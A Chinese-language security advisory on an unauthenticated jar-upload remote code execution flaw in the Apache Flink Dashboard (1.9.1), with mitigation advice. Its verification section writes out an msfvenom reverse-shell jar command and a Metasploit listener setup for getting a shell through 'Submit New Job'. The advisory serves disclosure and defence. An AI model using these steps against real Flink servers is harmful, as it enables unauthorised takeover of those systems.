Apache Flink 任意Jar包上傳導致遠程代碼執行漏洞安全通告

發布時間 2019-11-14

漏洞編號和級別


CVE編號:暫無,危險級別:高危,CVSS分值:官方未評定


影響版本


至目前最新版本Apache Flink 1.9.1


漏洞概述


Apache Flink是由Apache軟件基金會開發的開源流處理框架,其核心是用Java和Scala編寫的分布式流數據流引擎。Flink以數據并行和流水線方式執行任意流數據程序,Flink的流水線運行時系統可以執行批處理和流處理程序。此外,Flink的運行時本身也支持迭代算法的執行。


Apache Flink的數據流編程模型在有限和無限數據集上提供單次事件(event-at-a-time)處理。在基礎層面,Flink程序由流和轉換組成。


Apache Flink的API:有界或無界數據流的數據流API、用于有界數據集的數據集API、表API。


Apache Flink Dashboard 中可上傳惡意jar包并觸發惡意代碼執行。由于Apache Flink Dashboard 默認無需認證即可訪問,因此該漏洞可用作獲取shell。


漏洞驗證


POC:https://twitter.com/jas502n/status/1193869996717297664。


測試環境:Apache Flink 1.9.1


1、上傳msf生成的jar包,生成rce.jar文件


msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8087 -f jar > rce.jar



2、配置msf監聽


use exploit/multi/handler

set payload java/shell/reverse_tcp

set LHOST 127.0.0.1

set LPORT 8087

show options

run



在Submit New Job處上傳rec.jar文件,點擊submit



成功反彈shell,執行id可看到結果




修復建議


該漏洞官方尚未發布安全更新以及解決方法,請受影響的用戶實時關注Apache Flink官網:https://flink.apache.org/downloads.html。


緩解措施:

建議設置防火墻策略,僅允許白名單ip訪問 apache flink服務,并在Web代理(如apache httpd)中增加對該服務的digest認證。


參考鏈接


https://twitter.com/jas502n/status/1193869996717297664